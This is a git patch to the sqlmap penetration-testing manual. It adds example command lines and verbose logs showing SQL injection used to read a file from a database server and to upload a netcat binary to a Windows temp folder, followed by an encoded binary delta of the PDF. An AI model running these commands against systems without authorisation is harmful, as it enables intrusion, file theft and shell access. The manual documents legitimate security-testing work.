From 576cc97742578fbcce6aeaa996b16d62f93e0736 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sat, 25 Jul 2009 00:25:59 +0000 Subject: [PATCH] Minor update to the user's manual, almost there to release 0.7 stable! --- doc/README.html | 144 +++++++++++++++++++++++++++++++++++++++++++----- doc/README.pdf | Bin 352126 -> 357125 bytes doc/README.sgml | 140 +++++++++++++++++++++++++++++++++++++++++++--- 3 files changed, 261 insertions(+), 23 deletions(-) diff --git a/doc/README.html b/doc/README.html index 6a49569c2..291224266 100644 --- a/doc/README.html +++ b/doc/README.html @@ -8,7 +8,7 @@

sqlmap user's manual

by -Bernardo Damele A. G.

version 0.7 release candidate 1, April 22, 2009 +Bernardo Damele A. G.version 0.7, July 25, 2009
This document is the user's manual to use sqlmap. @@ -3950,16 +3950,120 @@ support when the back-end DBMS is PostgreSQL.

Option: --read-file

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

It is possible to retrieve the content of files from the underlying file +system when the back-end database management is system is either MySQL, +PostgreSQL or Microsoft SQL Server. +The file specified can be either a text or a binary file, sqlmap will +handle either cases automatically.

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

+ +

Example on a PostgreSQL 8.3.5 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --read-file \
+  "C:\example.txt" -v2
+
+[...]
+[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
+web server operating system: Windows 2003 or 2008
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+back-end DBMS: PostgreSQL
+
+[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)), 
+CHR(32))
+[hh:mm:53] [INFO] retrieved: 8.3.5,
+[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
+[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
+[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
+[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
+[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data 
+LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
+CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
+[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:03] [DEBUG] cleaning up the database management system
+[hh:mm:03] [DEBUG] removing support tables
+[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
+[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file 
+is binary, its content will not be retrieved
+[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
+[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
+[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
+[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
+[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM 
+sqlmapfile
+[hh:mm:04] [INFO] retrieved: 1
+[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
+[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
+||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
+[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
+[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
+[hh:mm:22] [DEBUG] cleaning up the database management system
+[hh:mm:22] [DEBUG] removing support tables
+[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
+C:/example.txt file saved to:    '/home/inquis/sqlmap/output/192.168.1.121/files/C__example.txt'
+
+[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.1.121'
+
+$ cat output/192.168.1.121/files/C__example.txt 
+This is a text file
+
+
+

Write a local file on the back-end DBMS file system

Options: --write-file and --dest-file

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

It is possible to upload a local file to the underlying file system when +the back-end database management is system is either MySQL, PostgreSQL or +Microsoft SQL Server. +The file specified can be either a text or a binary file, sqlmap will +handle either cases automatically.

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

+ +

Example on a MySQL 5.0.67 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --write-file \
+  "/home/inquis/software/netcat/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
+
+[...]
+[01:12:29] [INFO] the back-end DBMS is MySQL
+web server operating system: Windows 2003 or 2008
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+back-end DBMS: MySQL >= 5.0.0
+
+[01:12:29] [INFO] testing stacked queries support on parameter 'id'
+[01:12:29] [INFO] detecting back-end DBMS version from its banner
+[01:12:29] [INFO] retrieved: 5.0.67
+[01:12:36] [INFO] the web application supports stacked queries on parameter 'id'
+[01:12:36] [INFO] fingerprinting the back-end DBMS operating system
+[01:12:36] [INFO] retrieved: C
+[01:12:36] [INFO] the back-end DBMS operating system is Windows
+do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
+written on the back-end DBMS file system? [Y/n] y
+[01:12:52] [INFO] retrieved: 31744
+[01:12:52] [INFO] the file has been successfully written and its size is 31744 bytes, same 
+size as the local file '/home/inquis/software/netcat/nc.exe.packed'
+
+
+

5.9 Operating system access @@ -3969,40 +4073,50 @@ support when the back-end DBMS is PostgreSQL.

Option: --os-cmd

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

TODO

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

Prompt for an interactive operating system shell

Option: --os-shell

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

TODO

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

Prompt for an out-of-band shell, meterpreter or VNC

Options: --os-pwn, --priv-esc, --msf-path and --tmp-path

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

TODO

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

One click prompt for an out-of-band shell, meterpreter or VNC

Options: --os-smbrelay, --priv-esc and --msf-path

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

TODO

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

Stored procedure buffer overflow exploitation

Options: --os-bof, --priv-esc and --msf-path

-

This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper -Advanced SQL injection to operating system full control for the moment.

+

TODO

+ +

The techniques implemented are detailed on the white paper +Advanced SQL injection to operating system full control.

5.10 Miscellaneous diff --git a/doc/README.pdf b/doc/README.pdf index 8f354e08042ff9b3314413fcc9d4cad4ae1b7f2d..c1ef3345fb578efd42c8bc72ce0eb8983455547a 100644 GIT binary patch delta 60926 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 